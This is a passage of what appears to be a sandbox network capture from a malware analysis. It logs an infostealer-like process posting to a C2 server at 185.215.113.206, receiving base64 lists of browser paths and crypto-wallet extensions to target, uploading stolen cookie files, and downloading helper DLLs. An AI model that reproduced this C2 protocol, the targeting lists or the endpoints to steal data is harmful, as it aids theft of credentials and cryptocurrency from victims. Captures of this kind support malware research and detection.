R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 16, 2024 23:36:13.241427898 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 16, 2024 23:36:13.242434978 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 2d 2d 0d 0a Data Ascii: ------FHJDAAEGIDHDGCAAFCBAContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------FHJDAAEGIDHDGCAAFCBAContent-Disposition: form-data; name="message"plugins------FHJDAAEGIDHDGCAAFCBA--
Nov 16, 2024 23:36:13.523730040 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 16, 2024 23:36:13.523758888 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 16, 2024 23:36:13.523776054 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 16, 2024 23:36:13.523793936 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 16, 2024 23:36:13.523811102 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 16, 2024 23:36:13.524440050 CET	636	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 16, 2024 23:36:13.524543047 CET	1236	IN	Data Raw: 5a 32 56 6d 66 44 46 38 4d 48 77 77 66 45 31 31 62 48 52 70 64 6d 56 79 63 31 67 67 52 47 56 47 61 53 42 58 59 57 78 73 5a 58 52 38 5a 47 35 6e 62 57 78 69 62 47 4e 76 5a 47 5a 76 59 6e 42 6b 63 47 56 6a 59 57 46 6b 5a 32 5a 69 59 32 64 6e 5a 6d Data Ascii: Z2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV
Nov 16, 2024 23:36:13.524560928 CET	416	IN	Data Raw: 59 57 78 73 5a 58 52 38 63 47 56 75 61 6d 78 6b 5a 47 70 72 61 6d 64 77 62 6d 74 73 62 47 4a 76 59 32 4e 6b 5a 32 4e 6a 5a 57 74 77 61 32 4e 69 61 57 35 38 4d 58 77 77 66 44 42 38 55 32 46 6d 5a 56 42 68 62 43 42 58 59 57 78 73 5a 58 52 38 59 58 Data Ascii: YWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1
Nov 16, 2024 23:36:13.526056051 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 2d 2d 0d 0a Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="message"fplugins------KFBGDBFBKKJECBFHDGIE--
Nov 16, 2024 23:36:13.806339979 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 16, 2024 23:36:13.822361946 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAA Host: 185.215.113.206 Content-Length: 7759 Connection: Keep-Alive Cache-Control: no-cache
Nov 16, 2024 23:36:13.822412014 CET	7759	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 Data Ascii: ------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 16, 2024 23:36:14.618635893 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 23:36:14.861388922 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 23:36:15.140993118 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 16, 2024 23:36:15.141016960 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49747	185.215.113.206	80	2128	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 23:36:23.303141117 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFIJEGIDBGIECAKKEGD Host: 185.215.113.206 Content-Length: 999 Connection: Keep-Alive Cache-Control: no-cache
Nov 16, 2024 23:36:23.303168058 CET	999	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 Data Ascii: ------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 16, 2024 23:36:24.710304976 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 23:36:24.810154915 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJEBAAECBGDHIECAKJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="file"------KKKJEBAAECBGDHIECAKJ--
Nov 16, 2024 23:36:25.595643044 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49824	185.215.113.206	80	2128	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 23:36:31.445473909 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKECAFBFHJDGDHIEHJD Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 16, 2024 23:36:31.445570946 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 Data Ascii: ------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 16, 2024 23:36:32.874444008 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 23:36:33.221668959 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIEHIIEHIEHJKEBKEHJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DHIEHIIEHIEHJKEBKEHJContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------DHIEHIIEHIEHJKEBKEHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DHIEHIIEHIEHJKEBKEHJContent-Disposition: form-data; name="file"------DHIEHIIEHIEHJKEBKEHJ--
Nov 16, 2024 23:36:34.014950037 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 23:36:34.483561993 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
